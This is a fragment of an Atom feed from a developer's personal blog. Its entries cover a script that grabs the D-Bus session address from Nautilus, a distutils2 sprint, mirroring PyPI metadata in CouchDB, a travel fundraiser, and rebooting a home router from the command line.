&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c1"&gt;# Grab the DBUS_SESSION_BUS_ADDRESS variable from nautilus&amp;#39;s environment&lt;/span&gt;
&lt;span class="nb"&gt;eval&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;tr&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;\0&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;\n&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;lt;&lt;span class="w"&gt; &lt;/span&gt;/proc/&lt;span class="nv"&gt;$nautilus_pid&lt;/span&gt;/environ&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;^DBUS_SESSION_BUS_ADDRESS=&amp;#39;&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;

&lt;span class="c1"&gt;# Check that we actually found it&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-z&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;$DBUS_SESSION_BUS_ADDRESS&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;then&lt;/span&gt;
&lt;span class="nb"&gt;echo&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Failed to find bus address&amp;quot;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="p"&gt;&amp;amp;&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;
&lt;span class="nb"&gt;exit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;
&lt;span class="k"&gt;fi&lt;/span&gt;

&lt;span class="c1"&gt;# export it so that child processes will inherit it&lt;/span&gt;
&lt;span class="nb"&gt;export&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;DBUS_SESSION_BUS_ADDRESS
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;And it comes from
&lt;a href="http://ubuntuforums.org/showthread.php?p=10148738#post10148738"&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;A sync takes about 20s + the upload time on my machine, which stay
acceptable for all of my&amp;nbsp;developments.&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Wrap up of the distutils2 paris’ sprint</title><link href="https://blog.notmyidea.org/wrap-up-of-the-distutils2-paris-sprint.html" rel="alternate"></link><published>2011-02-08T00:00:00+01:00</published><updated>2011-02-08T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-02-08:/wrap-up-of-the-distutils2-paris-sprint.html</id><summary type="html">
&lt;p&gt;Finally, thanks to a bunch of people that helped me to pay my train and
bus tickets, I&amp;#8217;ve made it to paris for the distutils2&amp;nbsp;sprint.&lt;/p&gt;
&lt;p&gt;They have been a bit more than 10 people to come during the sprint, and
it was very productive. Here&amp;#8217;s a taste …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;Finally, thanks to a bunch of people that helped me to pay my train and
bus tickets, I&amp;#8217;ve made it to paris for the distutils2&amp;nbsp;sprint.&lt;/p&gt;
&lt;p&gt;They have been a bit more than 10 people to come during the sprint, and
it was very productive. Here&amp;#8217;s a taste of what we&amp;#8217;ve been working&amp;nbsp;on:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;the datafiles, a way to specify and to handle the installation of
    files which are not python-related (pictures, manpages and so&amp;nbsp;on).&lt;/li&gt;
&lt;li&gt;mkgcfg, a tool to help you to create a setup.cfg in minutes (and
    with funny&amp;nbsp;examples)&lt;/li&gt;
&lt;li&gt;converters from setup.py scripts. We do now have a piece of code
    which reads your current setup.py file and fill in some fields in
    the setup.cfg for&amp;nbsp;you.&lt;/li&gt;
&lt;li&gt;a compatibility layer for distutils1, so it can read the setup.cfg
    you will wrote for distutils2&amp;nbsp;:-)&lt;/li&gt;
&lt;li&gt;the uninstaller, so it&amp;#8217;s now possible to uninstall what have been
    installed by distutils2 (see &lt;span class="caps"&gt;PEP&lt;/span&gt;&amp;nbsp;376)&lt;/li&gt;
&lt;li&gt;the installer, and the setuptools compatibility layer, which will
    allow you to rely on setuptools&amp;#8217; based distributions (and there are
    plenty of&amp;nbsp;them!)&lt;/li&gt;
&lt;li&gt;The compilers, so they are more flexible than they were. Since
    that&amp;#8217;s an obscure part of the code for distutils2 commiters (it
    comes directly from the distutils1 ages), having some guys who
    understood the problematics here was a&amp;nbsp;must.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Some people have also tried to port their packaging from distutils1 to
distutils2. They have spotted a number of bugs and made some
improvements to the code, to make it more friendly to&amp;nbsp;use.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;m really pleased to see how newcomers went trough the code, and
started hacking so fast. I must say it wasn&amp;#8217;t the case when we started
to work on distutils1 so that&amp;#8217;s a very good point: people now can hack
the code quicker than they could&amp;nbsp;before.&lt;/p&gt;
&lt;p&gt;Some of the features here are not &lt;em&gt;completely&lt;/em&gt; finished yet, but are on
the tubes, and will be ready for a release (hopefully) at the end of the&amp;nbsp;week.&lt;/p&gt;
&lt;p&gt;Big thanks to logilab for hosting (and sponsoring my train ticket) and
providing us food, and to bearstech for providing some money for
breakfast and&amp;nbsp;bears^Wbeers.&lt;/p&gt;
&lt;p&gt;Again, a big thanks to all the people who gave me money to pay the
transport, I really wasn&amp;#8217;t expecting such thing to happen&amp;nbsp;:-)&lt;/p&gt;</content><category term="code"></category></entry><entry><title>PyPI on CouchDB</title><link href="https://blog.notmyidea.org/pypi-on-couchdb.html" rel="alternate"></link><published>2011-01-20T00:00:00+01:00</published><updated>2011-01-20T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-01-20:/pypi-on-couchdb.html</id><summary type="html">
&lt;p&gt;By now, there are two ways to retrieve data from PyPI (the Python
Package Index). You can both rely on xml/rpc or on the &amp;#8220;simple&amp;#8221; &lt;span class="caps"&gt;API&lt;/span&gt;. The
simple &lt;span class="caps"&gt;API&lt;/span&gt; is not so simple to use as the name suggest, and have several
existing&amp;nbsp;drawbacks.&lt;/p&gt;
&lt;p&gt;Basically, if you want to …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;By now, there are two ways to retrieve data from PyPI (the Python
Package Index). You can both rely on xml/rpc or on the &amp;#8220;simple&amp;#8221; &lt;span class="caps"&gt;API&lt;/span&gt;. The
simple &lt;span class="caps"&gt;API&lt;/span&gt; is not so simple to use as the name suggest, and have several
existing&amp;nbsp;drawbacks.&lt;/p&gt;
&lt;p&gt;Basically, if you want to use informations coming from the simple &lt;span class="caps"&gt;API&lt;/span&gt;,
you will have to parse web pages manually, to extract informations using
some black vodoo magic. Badly, magic have a price, and it&amp;#8217;s sometimes
impossible to get exactly the informations you want to get from this
index. That&amp;#8217;s the technique currently being used by distutils2,
setuptools and&amp;nbsp;pip.&lt;/p&gt;
&lt;p&gt;On the other side, while &lt;span class="caps"&gt;XML&lt;/span&gt;/&lt;span class="caps"&gt;RPC&lt;/span&gt; is working fine, it&amp;#8217;s requiring extra
work to the python servers each time you request something, which can
lead to some outages from time to time. Also, it&amp;#8217;s important to point
out that, even if PyPI have a mirroring infrastructure, it&amp;#8217;s only for
the so-called &lt;em&gt;simple&lt;/em&gt; &lt;span class="caps"&gt;API&lt;/span&gt;, and not for the &lt;span class="caps"&gt;XML&lt;/span&gt;/&lt;span class="caps"&gt;RPC&lt;/span&gt;.&lt;/p&gt;
&lt;h2 id="couchdb"&gt;CouchDB&lt;/h2&gt;
&lt;p&gt;Here comes CouchDB. CouchDB is a document oriented database, that knows
how to speak &lt;span class="caps"&gt;REST&lt;/span&gt; and &lt;span class="caps"&gt;JSON&lt;/span&gt;. It&amp;#8217;s easy to use, and provides out of the
box a replication&amp;nbsp;mechanism.&lt;/p&gt;
&lt;h2 id="so-what"&gt;So, what&amp;nbsp;?&lt;/h2&gt;
&lt;p&gt;Hmm, I&amp;#8217;m sure you got it. I&amp;#8217;ve wrote a piece of software to link
informations from PyPI to a CouchDB instance. Then you can replicate all
the PyPI index with only one &lt;span class="caps"&gt;HTTP&lt;/span&gt; request on the CouchDB server. You can
also access the informations from the index directly using a &lt;span class="caps"&gt;REST&lt;/span&gt; &lt;span class="caps"&gt;API&lt;/span&gt;,
speaking json.&amp;nbsp;Handy.&lt;/p&gt;
&lt;p&gt;So PyPIonCouch is using the PyPI &lt;span class="caps"&gt;XML&lt;/span&gt;/&lt;span class="caps"&gt;RPC&lt;/span&gt; &lt;span class="caps"&gt;API&lt;/span&gt; to get data from PyPI, and
generate records in the CouchDB&amp;nbsp;instance.&lt;/p&gt;
&lt;p&gt;The final goal is to avoid to rely on this &amp;#8220;simple&amp;#8221; &lt;span class="caps"&gt;API&lt;/span&gt;, and rely on a
&lt;span class="caps"&gt;REST&lt;/span&gt; insterface instead. I have set up a couchdb server on my server,
which is available at
&lt;a href="http://couchdb.notmyidea.org/_utils/database.html?pypi"&gt;http://couchdb.notmyidea.org/_utils/database.html?pypi&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;There is not a lot to see there for now, but I&amp;#8217;ve done the first import
from PyPI yesterday and all went fine: it&amp;#8217;s possible to access the
metadata of all PyPI projects via a &lt;span class="caps"&gt;REST&lt;/span&gt; interface. Next step is to
write a client for this &lt;span class="caps"&gt;REST&lt;/span&gt; interface in&amp;nbsp;distutils2.&lt;/p&gt;
&lt;h2 id="example"&gt;Example&lt;/h2&gt;
&lt;p&gt;For now, you can use pypioncouch via the command line, or via the python
&lt;span class="caps"&gt;API&lt;/span&gt;.&lt;/p&gt;
&lt;h3 id="using-the-command-line"&gt;Using the command&amp;nbsp;line&lt;/h3&gt;
&lt;p&gt;You can do something like that for a full import. This &lt;strong&gt;will&lt;/strong&gt; take
long, because it&amp;#8217;s fetching all the projects at pypi and importing their&amp;nbsp;metadata:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="n"&gt;pypioncouch&lt;/span&gt; &lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="n"&gt;fullimport&lt;/span&gt; &lt;span class="n"&gt;http&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="o"&gt;//&lt;/span&gt;&lt;span class="n"&gt;your&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;couchdb&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;instance&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;If you already have the data on your couchdb instance, you can just
update it with the last informations from pypi. &lt;strong&gt;However, I recommend
to just replicate the principal node, hosted at
&lt;a href="http://couchdb.notmyidea.org/pypi/"&gt;http://couchdb.notmyidea.org/pypi/&lt;/a&gt;&lt;/strong&gt;, to avoid the duplication of&amp;nbsp;nodes:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;pypioncouch&lt;span class="w"&gt; &lt;/span&gt;--update&lt;span class="w"&gt; &lt;/span&gt;http://your.couchdb.instance/
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The principal node is updated once a day by now, I&amp;#8217;ll try to see if it&amp;#8217;s
enough, and ajust with the&amp;nbsp;time.&lt;/p&gt;
&lt;h3 id="using-the-python-api"&gt;Using the python &lt;span class="caps"&gt;API&lt;/span&gt;&lt;/h3&gt;
&lt;p&gt;You can also use the python &lt;span class="caps"&gt;API&lt;/span&gt; to interact with&amp;nbsp;pypioncouch:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="nn"&gt;pypioncouch&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;XmlRpcImporter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;import_all&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;full_import&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;span class="o"&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;update&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="whats-next"&gt;What&amp;#8217;s next&amp;nbsp;?&lt;/h2&gt;
&lt;p&gt;I want to make a couchapp, in order to navigate PyPI easily. Here are
some of the features I want to&amp;nbsp;propose:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;List all the available&amp;nbsp;projects&lt;/li&gt;
&lt;li&gt;List all the projects, filtered by&amp;nbsp;specifiers&lt;/li&gt;
&lt;li&gt;List all the projects by&amp;nbsp;author/maintainer&lt;/li&gt;
&lt;li&gt;List all the projects by&amp;nbsp;keywords&lt;/li&gt;
&lt;li&gt;Page for each&amp;nbsp;project.&lt;/li&gt;
&lt;li&gt;Provide a PyPI &amp;#8220;Simple&amp;#8221; &lt;span class="caps"&gt;API&lt;/span&gt; equivalent, even if I want to replace
    it, I do think it will be really easy to setup mirrors that way,
    with the out of the box couchdb&amp;nbsp;replication&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I also still need to polish the import mechanism, so I can directly
store in&amp;nbsp;couchdb:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;span class="caps"&gt;OPML&lt;/span&gt; files for each&amp;nbsp;project&lt;/li&gt;
&lt;li&gt;The upload_time as couchdb friendly format (list of&amp;nbsp;int)&lt;/li&gt;
&lt;li&gt;The tags as lists (currently it&amp;#8217;s only a string separated by&amp;nbsp;spaces&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The work I&amp;#8217;ve done by now is available on
&lt;a href="https://bitbucket.org/ametaireau/pypioncouch/"&gt;https://bitbucket.org/ametaireau/pypioncouch/&lt;/a&gt;. Keep in mind that it&amp;#8217;s
still a work in progress, and everything can break at any time. However,
any feedback will be appreciated&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>Help me to go to the distutils2 paris’ sprint</title><link href="https://blog.notmyidea.org/help-me-to-go-to-the-distutils2-paris-sprint.html" rel="alternate"></link><published>2011-01-15T00:00:00+01:00</published><updated>2011-01-15T00:00:00+01:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2011-01-15:/help-me-to-go-to-the-distutils2-paris-sprint.html</id><summary type="html">
&lt;p&gt;&lt;strong&gt;Edit: Thanks to logilab and some amazing people, I can make it to
paris for the sprint. Many thanks to them for the&amp;nbsp;support!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There will be a distutils2 sprint from the 27th to the 30th of january,
thanks to logilab which will host the&amp;nbsp;event.&lt;/p&gt;
&lt;p&gt;You can find more …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;&lt;strong&gt;Edit: Thanks to logilab and some amazing people, I can make it to
paris for the sprint. Many thanks to them for the&amp;nbsp;support!&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;There will be a distutils2 sprint from the 27th to the 30th of january,
thanks to logilab which will host the&amp;nbsp;event.&lt;/p&gt;
&lt;p&gt;You can find more informations about the sprint on the wiki page of the
event (&lt;a href="http://wiki.python.org/moin/Distutils/SprintParis"&gt;http://wiki.python.org/moin/Distutils/SprintParis&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;I really want to go there but I&amp;#8217;m unfortunately blocked in &lt;span class="caps"&gt;UK&lt;/span&gt; for money
reasons. The cheapest two ways I&amp;#8217;ve found is about £80, which I can&amp;#8217;t
afford. Following some advices on #distutils, I&amp;#8217;ve set up a ChipIn
account for that, so if some people want to help me making it to go
there, they can give me some money that&amp;nbsp;way.&lt;/p&gt;
&lt;p&gt;I&amp;#8217;ll probably work on the installer (to support old distutils and
setuptools distributions) and on the uninstaller (depending on the first
task). If I can&amp;#8217;t make it to paris, I&amp;#8217;ll hang around on &lt;span class="caps"&gt;IRC&lt;/span&gt; to give some
help while&amp;nbsp;needed.&lt;/p&gt;
&lt;p&gt;If you want to contribute some money to help me go there, feel free to
use this chipin page:
&lt;a href="http://ametaireau.chipin.com/distutils2-sprint-in-paris"&gt;http://ametaireau.chipin.com/distutils2-sprint-in-paris&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Thanks for your support&amp;nbsp;!&lt;/p&gt;</content><category term="code"></category></entry><entry><title>How to reboot your bebox using the CLI</title><link href="https://blog.notmyidea.org/how-to-reboot-your-bebox-using-the-cli.html" rel="alternate"></link><published>2010-10-21T00:00:00+02:00</published><updated>2010-10-21T00:00:00+02:00</updated><author><name></name></author><id>tag:blog.notmyidea.org,2010-10-21:/how-to-reboot-your-bebox-using-the-cli.html</id><summary type="html">
&lt;p&gt;I&amp;#8217;ve an internet connection which, for some obscure reasons, tend to be
very slow from time to time. After rebooting the box (yes, that&amp;#8217;s a hard
solution), all the things seems to go fine&amp;nbsp;again.&lt;/p&gt;
&lt;h2 id="edit-using-grep"&gt;&lt;span class="caps"&gt;EDIT&lt;/span&gt; : Using&amp;nbsp;grep&lt;/h2&gt;
&lt;p&gt;After a bit of reflexion, that&amp;#8217;s also really easy …&lt;/p&gt;</summary><content type="html">
&lt;p&gt;I&amp;#8217;ve an internet connection which, for some obscure reasons, tend to be
very slow from time to time. After rebooting the box (yes, that&amp;#8217;s a hard
solution), all the things seems to go fine&amp;nbsp;again.&lt;/p&gt;
&lt;h2 id="edit-using-grep"&gt;&lt;span class="caps"&gt;EDIT&lt;/span&gt; : Using&amp;nbsp;grep&lt;/h2&gt;
&lt;p&gt;After a bit of reflexion, that&amp;#8217;s also really easy to do using directly
the command line tools curl, grep and tail (but really harder to&amp;nbsp;read).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;curl&lt;span class="w"&gt; &lt;/span&gt;-X&lt;span class="w"&gt; &lt;/span&gt;POST&lt;span class="w"&gt; &lt;/span&gt;-u&lt;span class="w"&gt; &lt;/span&gt;joel:joel&lt;span class="w"&gt; &lt;/span&gt;http://bebox.config/cgi/b/info/restart/&lt;span class="se"&gt;\?&lt;/span&gt;be&lt;span class="se"&gt;\=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="se"&gt;\&amp;amp;&lt;/span&gt;l0&lt;span class="se"&gt;\=&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="se"&gt;\&amp;amp;&lt;/span&gt;l1&lt;span class="se"&gt;\=&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="se"&gt;\&amp;amp;&lt;/span&gt;tid&lt;span class="se"&gt;\=&lt;/span&gt;RESTART&lt;span class="w"&gt; &lt;/span&gt;-d&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;0=17&amp;amp;2=`curl -u joel:joel http://bebox.config/cgi/b/info/restart/\?be\=0\&amp;amp;l0\=1\&amp;amp;l1\=0\&amp;amp;tid\=RESTART | grep -o &amp;quot;&lt;/span&gt;&lt;span class="nv"&gt;name&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;2&amp;#39;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;value&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;-9&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="se"&gt;\+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; | grep -o &amp;quot;&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;-9&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="se"&gt;\+&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot; | tail -n 1`&amp;amp;1&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="the-python-version"&gt;The Python&amp;nbsp;version&lt;/h2&gt;
&lt;p&gt;Well, that&amp;#8217;s not the optimal solution, that&amp;#8217;s a bit &amp;#8220;gruik&amp;#8221;, but it&amp;nbsp;works.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;urllib2&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;urlparse&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;re&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;argparse&lt;/span&gt;

&lt;span class="n"&gt;REBOOT_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;/b/info/restart/?be=0&amp;amp;l0=1&amp;amp;l1=0&amp;amp;tid=RESTART&amp;#39;&lt;/span&gt;
&lt;span class="n"&gt;BOX_URL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;http://bebox.config/cgi&amp;#39;&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;open_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;passman&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPPasswordMgrWithDefaultRealm&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="n"&gt;passman&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;add_password&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;authhandler&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;HTTPBasicAuthHandler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;passman&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;opener&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;build_opener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;authhandler&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;install_opener&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;opener&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;read&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;reboot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;data&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;open_url&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;username&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;password&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;token&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;re&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;findall&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;name\=&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;2&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39; value=&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;([0-9]+)&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;&amp;#39;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="p"&gt;)[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;urlopen&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;urllib2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;url&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;0=17&amp;amp;2=&lt;/span&gt;&lt;span class="si"&gt;%s&lt;/span&gt;&lt;span class="s1"&gt;&amp;amp;1&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="vm"&gt;__file__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;parser&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ArgumentParser&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;description&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;Reboot your bebox !&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

